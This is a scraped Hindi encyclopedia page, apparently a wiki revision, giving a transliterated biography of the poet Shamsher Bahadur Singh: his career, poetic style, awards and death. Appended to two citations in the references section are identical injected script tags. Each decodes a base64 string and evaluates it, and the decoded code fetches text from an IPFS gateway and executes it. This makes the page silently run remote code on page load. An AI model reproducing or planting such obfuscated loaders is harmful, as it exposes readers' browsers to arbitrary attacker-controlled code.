Difference between revisions of "शमशेर बहादुर सिंह"
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|संबंधित लेख=[[शमशेर बहादुर सिंह की काव्य भाषा में बिम्ब विधान]] | |संबंधित लेख=[[शमशेर बहादुर सिंह की काव्य भाषा में बिम्ब विधान]] | ||
|शीर्षक 1=कार्यक्षेत्र | |शीर्षक 1=कार्यक्षेत्र | ||
| − | |पाठ 1='रूपाभ' में कार्यालय सहायक के रूप में (1939); 'कहानी' में त्रिलोचन के साथ (1940); 'नया साहित्य' बम्बई में [[कम्यून]] में रहते हुए (1946); 'माया' में सहायक सम्पादक (1948-54); 'नया पथ' और 'मनोरथ कहानियाँ' में सम्पादन सहयोग। [[दिल्ली विश्वविद्यालय]] में यू.जी.सी. के प्रोजेक्ट 'उर्दू-हिंदी कोश' में सम्पादक (1965-77)। अध्यक्ष- प्रेमचंद सृजन पीठ, विक्रम विश्वविद्यालय 1981-85 यात्रा: सोवियत संघ 1978। | + | |पाठ 1='रूपाभ' में कार्यालय सहायक के रूप में (1939); 'कहानी' में त्रिलोचन के साथ (1940); 'नया साहित्य' बम्बई में [[कम्यून]] में रहते हुए (1946); 'माया' में सहायक सम्पादक (1948-54); 'नया पथ' और 'मनोरथ कहानियाँ' में सम्पादन सहयोग। [[दिल्ली विश्वविद्यालय]] में यू.जी.सी. के प्रोजेक्ट 'उर्दू-हिंदी कोश' में सम्पादक (1965-77)। अध्यक्ष- प्रेमचंद सृजन पीठ, [[विक्रम विश्वविद्यालय]] 1981-85 यात्रा: सोवियत संघ 1978। |
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
Revision as of 13:04, 12 February 2015
shamasher bahadur sianh
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| poora nam | shamasher bahadur sianh |
| janm | 13 janavari, 1911 |
| janm bhoomi | deharadoon |
| mrityu | 12 mee, 1993 |
| mrityu sthan | ahamadabad |
| pati/patni | shrimati dharmadevi |
| karm-kshetr | kavi, lekhak |
| mukhy rachanaean | 'kuchh kavitaean' (1956), 'kuchh aur kavitaean' (1961), 'shamasher bahadur sianh ki kavitaean' (1972), 'udita : abhivyakti ka sangharsh' (1980), 'itane pas apane' (1980), 'chuka bhi hooan nahian maian' (1981), 'bat bolegi' (1981), 'kal tujhase ho d hai meri' (1988), 'shamasher ki gazalean' |
| bhasha | hiandi tatha urdoo |
| shiksha | bi.e. |
| puraskar-upadhi | sahity akadami puraskar (1977), maithili sharan gupt puraskar (1987), rashtriy kabir samman (1989) adi |
| nagarikata | bharatiy |
| sanbandhit lekh | shamasher bahadur sianh ki kavy bhasha mean bimb vidhan |
| karyakshetr | 'roopabh' mean karyalay sahayak ke roop mean (1939); 'kahani' mean trilochan ke sath (1940); 'naya sahity' bambee mean kamyoon mean rahate hue (1946); 'maya' mean sahayak sampadak (1948-54); 'naya path' aur 'manorath kahaniyaan' mean sampadan sahayog. dilli vishvavidyalay mean yoo.ji.si. ke projekt 'urdoo-hiandi kosh' mean sampadak (1965-77). adhyaksh- premachand srijan pith, vikram vishvavidyalay 1981-85 yatra: soviyat sangh 1978. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
shamasher bahadur sianh (aangrezi: Shamsher Bahadur Singh, janm: 13 janavari, 1911 - mrityu: 12 mee 1993) adhunik hiandi kavita ke pragatishil kavi haian. ye hiandi tatha urdoo ke vidvan haian. prayogavad aur nee kavita ke kaviyoan ki pratham pankti mean inaka sthan hai. inaki shaili aangrezi kavi ejara paund se prabhavit hai. shamasher bahadur sianh 'doosara saptak' (1951) ke kavi haian. shamasher bahadur sianh ne kavitaoan ke saman hi chitroan mean bhi prayog kiye haian. adhunik kavita mean 'ajney' aur shamasher ka krititv do bhinn dishaoan ka parichayak hai- 'ajney' ki kavita mean vastu aur roopakar donoan ke bich santulan sthapit rakhane ki pravritti parilakshit hoti hai, shamasher mean shilp-kaushal ke prati atirikt jagarookata hai. is drishti se shamasher aur 'ajney' kramashah do adhunik aangrez kaviyoan ejara paund aur iliyat ke adhik nikat haian. adhunik aangrezi-kavy mean shilp ko pradhany dene ka shrey ejara paund ko prapt hai. vastu ki apeksha roopavidhan ke prati unamean adhik sajagata drishtigochar hoti hai. adhunik aangrezi-kavy mean kavy-shaili ke naye prayog ejara paund se prarambh hote haian. shamasher bahadur sianh ne apane vaktavy mean ejara paund ke prabhav ko muktakanth se svikar kiya hai- tekanik mean ejara paund shayad mera sabase b da adarsh ban gaya.
parichay
shamasher bahadur sianh ka janm deharadoon mean 13 janavari, 1911 ko hua. aranbhik shiksha deharadoon mean huee aur haeeskool-iantar ki pariksha goanda se di. bi.e. ilahabad se kiya, kinhian karanoan se em.e. phainal n kar sake. 1935-36 mean ukil bandhuoan se peantiang kala sikhi. 'roopabh', 'kahani', 'naya sahity', 'maya', 'naya path', 'manohar kahaniyaan' adi mean sanpadan sahayog. urdoo-hindi kosh projekt mean sanpadak rahe aur vikram vishvavidyalay ke 'premachand srijanapith' ke adhyaksh rahe. doosara tar saptak ke kavi haian.
kavy shaili
shamasher bahadur sianh mean apane bimboan, upamanoan aur sangitadhvaniyoan dvara chamatkar aur vaichitryapoorn adhath utpann karane ki cheshta avashy upalabdh hoti hai, par kisi kendragami vichar-tatv ka unamean prayah abhav-sa hai. abhivyakti ki vakrata dvara varn-vigrah aur varn-sandhi ke adhar par nayi shabd-yojana ke prayog se chamatkarik aghat dene ki pravritti inamean kisi thos vichar tattv ki apeksha adhik mahattv rakhati hai. shamasher bahadur sianh mean mukt sahachary aur asambaddhatajany duroohata ke tattv saf nazar ate haian. unaki abhivyakti mean adhoorapan parilakshit hota hai. shamasher ki kavita mean ulajhanabhari sanvedanashilata adhik hai. unamean shabd-moh, shabd-khilava d ke prati adhik jagarookata hai aur shabd- yojana ke madhyam se sangit-dhvani utpann karane ki pravritti dekhi ja sakati haian.
- adhunik kavy-bodh
shamasher ki kavitaean adhunik kavy-bodh ke adhik nikat haian, jahaan pathak tatha shrota ke sahayog ki sthiti ko svikar kiya jata hai. unaka bimbavidhan ekadam jak da hua 'redimed' nahian hai. vah 'samajik' ke asvadan ko poori chhoot deta hai. is drishti se unamean amoortan ki pravritti apane kafi shuddh roop mean dikhaee deti hai. urdoo ki gazal se prabhavit hone par bhi unhoanne kavy-shilp ke navinatam roopoan ko apanaya hai. prayogavad aur nayi kavita ke puraskartaoan mean ve agrani haian. unaki rachanaprakriti hindi mean apratim hai aur anek sambhavanaoan se yukt hai. hindi ke naye kaviyoan mean unaka nam pratham paanktoy hai. 'ajney' ke sath shamasher ne hindi-kavitaoan mean rachana-paddhati ki nayi dishaoan ko uddhatit kiya hai aur chhayavadottar kavy ko ek gati pradan ki hai.
rachanaean
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samman aur puraskar
shamasher bahadur sianh ko der se hi sahi, bade-bade puraskar bhi mile- sahity akadami (1977), maithili sharan gupt puraskar (1987), kabir samman (1989) adi.
nidhan
shamasher bahadur sianh ne 12 mee, 1993 ko duniya se alavida kaha. d aau. ranjana arag de ke anusar "jab unhean hart ataik aya to aspatal mean lagabhag 72 ghante se bhi kam rahe. vah bahut pi da ka samay to nahian tha. lekin unhean shayad aandaza ho gaya tha ki ab jane ka samay a gaya hai. maian unase poochh rahi thi ki ve kya sunana chaheange galib ya kuchh aur lekin ve inakar mean sir hilate rahe." ve yad karati haian, "akhir mean shamasher ne gayatri mantr sunane ki ichchha jataee. ujjain mean jab ve the to sanskrit ki chhooti huee k di vahian hath a gee thi. maian gayatri mantr bol rahi thi aur ve sath mean bolate ja rahe the. mantr bolate -bolate jab ve chup ho ge to maian jan gee thi ki ab ve nahian haian."[1]
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tika tippani aur sandarbh
- ↑ saral-sahaj vyaktitv vala ek b da kavi (hindi) (ech.ti.em.el) bi.bi.si. hindi. abhigaman tithi: 31 aktoobar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 590.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sahayak granth- 'shamasher' sanpadak malayaj
bahari k diyaan
sanbandhit lekh